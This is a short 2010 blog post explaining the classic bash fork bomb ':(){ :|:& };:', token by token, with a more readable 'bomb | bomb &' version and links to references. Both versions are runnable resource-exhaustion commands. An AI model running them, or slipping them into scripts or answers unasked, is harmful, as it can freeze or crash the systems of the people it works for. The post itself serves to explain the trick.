Wednesday, May 05, 2010

fork() bomb

Coding can never become more interesting than this !!!
-------------------------------------------------------

Understanding :(){ :|:& };: fork() bomb code

 :() - It is a function name. It accepts no arguments at all.

Generally, bash function is defined as follows:
foo(){
 arg1=$1
 echo ''
 #do_something on $arg argument
}

fork() bomb is defined as follows:
:(){
   :|:&
};:

:|: - Next it call itself using programming technique called recursion and pipes the output to another call of the function ':'. The worst part is function get called two times to bomb your system.

& - Puts the function call in the background so child cannot die at all and start eating system resources.

; - Terminate the function definition

: - Call (run) the function aka set the fork() bomb.

Here is more human readable code:

bomb() {
bomb | bomb &
}; bomb

Properly configured Linux / UNIX box should not go down when fork() bomb sets off.

REFERENCE : http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
WIKI : http://en.wikipedia.org/wiki/Fork_bomb